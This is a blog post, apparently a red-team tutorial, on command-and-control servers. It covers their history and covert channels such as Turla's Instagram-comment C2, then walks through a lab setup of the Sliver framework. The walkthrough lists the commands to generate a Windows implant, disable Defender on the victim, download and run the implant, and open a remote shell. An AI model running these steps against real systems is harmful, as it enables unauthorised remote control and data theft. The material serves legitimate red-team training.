R2-C2 and C2-PO

Mar 7

Written By Robert Cao

1. Introduction

  • A C2 (command and control) server is a system used to remotely control compromised devices, known as bots or implants, by sending commands and receiving data from them. These servers facilitate post-exploitation activities, enabling attackers or red teams to execute actions on compromised hosts, maintain access, and pivot deeper into networks.

  • C2 infrastructure play a dual role. Ethical hackers and red teams use C2 frameworks to simulate real-world attacks and test an organization's defenses. These controlled operations help security teams identify weaknesses before malicious actors exploit them.

  • On the other hand, cybercriminals, nation-state actors, and Advanced Persistent Threats (APTs) use C2 servers to conduct cyber espionage, deploy ransomware, and exfiltrate sensitive data. Malware can rely on C2 for executing attacks at scale.

  • Once an attacker gains initial access to a system—through phishing, software vulnerabilities, or other means—they establish a connection to a C2 server. This connection allows them to:

    • Issue commands remotely to the compromised device

    • Maintain persistence by reestablishing access if the machine reboots

    • Transfer files, deploy additional malware, or extract sensitive data

    • Coordinate large-scale botnets or ransomware campaigns

  • C2 infrastructure can be simple, using direct TCP connections, or highly sophisticated, employing encryption, proxy chains, and domain fronting to evade detection. Understanding how C2 servers function is essential for both attackers refining their techniques and defenders developing strategies to detect and mitigate them.

2. History of C2 Servers

  • Command and Control (C2) servers have evolved significantly over the years, adapting to changes in technology, security defenses, and the increasing sophistication of cyber operations. Initially, C2 mechanisms were simple, relying on basic backdoors and direct connections. However, as cybersecurity defenses improved, threat actors developed more stealthy and resilient methods for maintaining remote control over compromised systems.

Early Use of C2 in Malware and Cyber Warfare

  • The concept of remotely controlling infected machines dates back to early hacking tools and malware. In the late 1980s and 1990s, attackers primarily used simple remote access tools (RATs) like Back Orifice created by the Cult of the Dead Cow, which provided rudimentary control over victim machines. These tools were easy to detect, as they relied on direct, open connections.

    • Feel free to read more about Back Orifice on the 1998 MS Security Bulletin [https://learn.microsoft.com/en-us/security-updates/securitybulletins/1998/ms98-010]

    • Read more about CULT OF THE DEAD COW at their website [https://cultdeadcow.com] where they recently revealed a decentralized chat thingy at 2023 Def Con

  • As botnets emerged in the early 2000s, attackers began to use more sophisticated C2 mechanisms. Instead of direct connections, botnets used decentralized communication methods, making them harder to disrupt. These botnets allowed cybercriminals to control thousands—or even millions—of infected devices, often for financial gain, spam campaigns, or distributed denial-of-service (DDoS) attacks.

Evolution from Basic Backdoors to Modern Frameworks

  • Over time, C2 infrastructures evolved to evade detection by security teams and law enforcement. Early C2 systems relied on hardcoded IP addresses or domains, making them vulnerable to takedowns. In response, attackers began using:

  • Fast Flux Networks:

    • A network of rapidly changing IP addresses to make takedown efforts difficult.

    • Helps botnets and malware hide C2 servers by frequently rotating IP addresses.

    • Instead of a single IP address pointing to a C2 server, Fast Flux networks use a large pool of compromised machines that act as proxies.

    • The malware or botnet switch between different compromised machines, making it hard for defenders to block the C2 infrastructure.

    • This can be Single Flux (rotating IPs while keeping a static domain) or Double Flux (rotating both IPs and name servers).

  • Domain Generation Algorithms (DGA):

    • Automatically generating new domain names to avoid blacklisting

    • Malware calculates a new domain name every day/hour/minute based on an algorithm (e.g., a9sd8f.com, xk28f1.net).

    • The attacker knows the algorithm and pre-registers some of these domains for malware to connect to.

  • Peer-to-Peer (P2P) C2:

    • Eliminating the need for a central server, making disruption more difficult.

    • Provides redundancy – even if part of the network is taken down, the malware can still communicate.

    • Instead of relying on a single C2 server, malware or botnets use a P2P architecture, where infected devices talk to each other instead of a single point of control.

    • Each infected machine stores a list of peer nodes and can relay commands without needing direct contact with the attacker.

    • If a node goes offline, the malware finds a new peer, making it resilient to takedowns.

  • Cloud-Based C2:

    • Leveraging legitimate services (Google Drive, Telegram, Dropbox) for stealth.

    • Instead of using dedicated attacker-controlled infrastructure, malware sends C2 traffic through trusted cloud serviceslike Google Drive, Dropbox, Twitter, Slack, Telegram, or GitHub.

    • The infected machine retrieves commands from a shared document, API call, or social media post, masking malicious traffic as normal web activity.

  • Modern C2 frameworks provide red teams and attackers with modular tools that integrate encryption, obfuscation, and various transport mechanisms to maintain covert control over compromised systems.

Notable Examples of C2 Usage

  • Over the years, various C2 techniques have played a critical role in major cyber incidents. Some of the most interesting and unique examples include:

Stuxnet (2010) – One of the first known cyber weapons. Stuxnet targeted Iran’s nuclear program. It is considered one of the most sophisticated cyberattacks in history, proving that malware can physically destroy equipment, not just steal data. It worked in an air-gapped system without internet access, tricked engineers by feeding them fake sensor data, it spread stealthily on its own and self-destructed to avoid detection.

  • Step 1: Infection (How It Got In)

    • The Natanz nuclear facility was air-gapped (not connected to the internet).

    • Stuxnet was delivered using infected USB drives.

    • When an employee inserted an infected USB into a computer, the malware silently installed itself.

    Step 2: Spreading (How It Moved Around)

    • Once inside the network, Stuxnet spread through Windows vulnerabilities, infecting other machines.

    • It specifically looked for computers running Siemens industrial software (used to control centrifuges).

    • If it didn’t find the right software, it stayed hidden and did nothing.

    Step 3: Manipulating the Centrifuges (The Attack)

    • When Stuxnet found the Siemens PLCs controlling the centrifuges, it hijacked their instructions.

    • It made the centrifuges spin too fast or too slow, causing physical damage over time.

    • Meanwhile, it sent fake data back to the monitoring systems, tricking engineers into thinking everything was normal.

    Step 4: Self-Destruction & Covering Tracks

    • Stuxnet was designed to delete itself after completing its mission or after a set time.

    • If it couldn’t reach an external C2 server for updates, it stayed dormant to avoid detection.

    • This helped it remain undetected for years while causing real-world damage

Britney Spears Instagram C2 (2017) – Researchers discovered that Russian-speaking cybercriminals were using Britney Spears' Instagram account as a Command and Control (C2) channel for malware. This was a covert and creative way to issue commands to infected computers without directly communicating with them, making detection extremely difficult.

How It Worked (tl;dr)

  1. Infected Computers Checked Instagram

    • The malware, called Turla (linked to Russian cyber espionage), was designed to periodically visit Britney Spears' official Instagram account.

    • Instead of contacting a traditional C2 server (which could be blocked or traced), the malware would scan the comments on Britney Spears’ Instagram posts.

  2. Commands Were Hidden in Comments

    • The attackers hide encoded commands in seemingly
      ”innocent” comments.

    • For example, one comment read:

      #2hot make loveid to her, uupss #hot #x

    • This looked like a normal spammy Instagram comment, but it contained a hidden instruction.

  3. Extracting the C2 Server Address

    • The malware would scan each photo comments to create a hash

    • If the hash equaled 183 it would run this REGEX on the comment to extract parts of a bit.ly URL:

      (?:\\u200d(?:#|@)(\\w) ->

      http://bit.ly/2kdhuHX

    • In this case, leading to:

      217.69.139.160

    • This address hosted the real C2 infrastructure, where the malware received further instructions.

  4. Why This Was Genius

    • No direct C2 communication – The malware never directly reached out to an attacker-controlled server, avoiding detection.

    • No suspicious domains – Security teams typically monitor suspicious web traffic, but checking Instagram looked completely normal.

    • Easy to update – The attackers could change C2 servers just by posting a new comment.

    • Difficult to take down – Instagram is a legitimate platform, and deleting a comment wouldn’t stop the malware (it would just look for the next one).

  5. Has This Happened Again?

    • Yes! Since the Britney Spears case, other malware has used similar techniques, including:

    • Malware hiding in Twitter posts (commands hidden in tweets).

    • Telegram bot-based C2 (malware using Telegram to receive instructions).

    • YouTube video descriptions containing encoded C2 commands.

3. Popular C2 Frameworks

Pre-requisites: Kali VM and Victim VM (this example uses Windows)

Sliver “Single Player” Mode

Sliver Vocabulary:

  • Implant: the binary to be ran on victim aka beacon

  1. The official Github says to use the one-liner

    • curl https://sliver.sh/install|sudo bash

  2. But that wasn’t working for me (maybe Apple silicon issue)

  3. Tried using apt and got v1.5.42…the install ended on an Error Code but the C2 still launched… so… ¯\_(ツ)_/¯

    • sudo apt install sliver -y

  4. In a Kali terminal start the C2 server

    • sliver-server

  5. Start a listener

    • http -l 9000

  6. Create an executable payload to run on the victim

    • generate —os windows —skip-symbols -e —http 10.211.55.4:9000

    • [*] Implant saved to /home/parallels/DULL_MARIACHI.exe

    • The implant name (DULL_MARIACHI) is randomly generated

    • 10.211.55.4 is the IP address of the Kali VM

  7. Start a python http server to deliver the exe

    • python -m http.server 8888

  8. On Windows disable Real Time Protection in Windows Defender

  9. Download the implant and run it

    • wget 10.211.55.4:8888/DULL_MARIACHI.exe -OutFile DULL_MARIACHI.exe

    • & ./DULL_MARIACHI.exe

  10. In Sliver watch for the session to connect and note the session

    • [*] Session 2c5baa11 DULL_MARIACHI - 10.211.55.4:51313…

  11. You can use the first few characters to enter the session with the use command and then drop into a shell

    • use 2c

    • shell

    • y

Sliver Multiplayer Mode

  • Earlier we only had Sliver C2 Server and an Implant

  • Now we will connect one more attacker to the server

  1. In the Kali Sliver terminal create a configuration file which will be used by the additional attack box to connect to the Sliver server

    • new-operator —name redbox_1 —lhost 10.211.55.4

    • [*] Saved new client config to…

  2. Configure the Sliver server to look for additional attack boxes

    • multiplayer

    • [*] Multiplayer mode enabled!

  3. I downloaded Sliver Client from the Github

    • https://github.com/BishopFox/sliver/releases

    • For MacOS: sliver-client_macos

    • For Windows: sliver-client_windows.exe

  4. Change permission to run and Allowed the binary to run from Privacy and Security in Settings

    • chmod +x ./sliver-client_macos

  5. Obtain the generated config file from Step 1

    • I hosted the .cfg file to a python server to pull down

  6. Import the config file to be used and run the client

    • ./sliver-client_macos import client.cfg

    • ./sliver-client_macos

  7. Any sessions on the server can be used by all players on the server

    • sessions

    • use bd1

    • shell

    • y

Step 7

Step 11

Step 3&4

Step 6

Step 8

Step 6

Mythic

Havoc

Cobalt Strike